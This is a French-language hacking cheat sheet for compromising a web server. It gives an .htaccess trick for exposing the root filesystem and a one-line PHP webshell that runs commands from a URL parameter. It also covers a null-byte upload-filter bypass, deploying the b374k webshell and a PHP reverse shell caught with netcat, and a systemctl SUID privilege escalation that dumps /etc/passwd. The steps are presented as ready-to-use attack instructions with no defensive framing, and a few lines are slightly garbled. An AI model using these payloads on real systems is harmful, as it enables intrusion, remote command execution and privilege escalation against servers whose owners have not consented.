- On se connecte via sFTP / SSH et on crée un symlink vers /
sudo ln -s / "racine"
- On créé le fichier .htaccess
AddDefaultCharset UTF-8
DefaultLanguage fr-FR
RewriteEngine on # Activer le mod_rewrite, si module mod_autoindex n'est pas activé :
# sudo a2enmod rewrite
# sudo service apache2 restart
DirectoryIndex disabled
Options +Indexes # Activer le mod_autoindex, si module mod_autoindex n'est pas activé :
# sudo a2enmod autoindex
# sudo service apache2 restart
RemoveHandler .php .php3 # Désactiver PHP
RemoveType .php .php3
AddType text/plain php # Activer les fichiers .php en brut
AddType text/plain html # Activer les fichiers .html en brut
- Ajouter le code dans dans un fichier PHP
$handle = fread(popen($_GET['f'], 'r'), 2096);
print_r($handle);
- Adresse : https://www.site.com/fichier.php?f=/bin/ls /home/utilisateur
On va induire en erreur le processus de vérification des formats d’images en renommant notre script img.php en img.php.jpg et on y ajoute le NULL BYTE :
-
Créer un fichier PHP : img.php
-
Ajouter le NULL BYTE :
img.php%00.jpg
-
Télécharger uploader.php et b375k.php (mot de passe : mobius)
-
Renommer et uploaderp%00.php et Uploader le fichier uploader.php
-
Allez sur uploader.php et télécharger b375k.php
-
Télécharger php-reverse-shell.php
-
Modifier le fichier php-reverse-shell.php avec une IP viable
-
Renommer si besoin le fichier, exemple : php-reverse-shell.php en image.phtml
-
Lancer une connexion Netcat :
nc -lvnp 1234
-
Télécharger le fichier sur le serveur distant
-
Vous devez avoir votre connexion active !
-
Chercher les fichiers SUID :
find / -user root -perm -4000 -exec ls -ldb {} \;
-
Exemple :
/bin/systemctl
-
Exploiter le binaire :
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /etc/passwd > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
- Afficher les informations du fichier :
cat /tmp/output
de/etc/passwd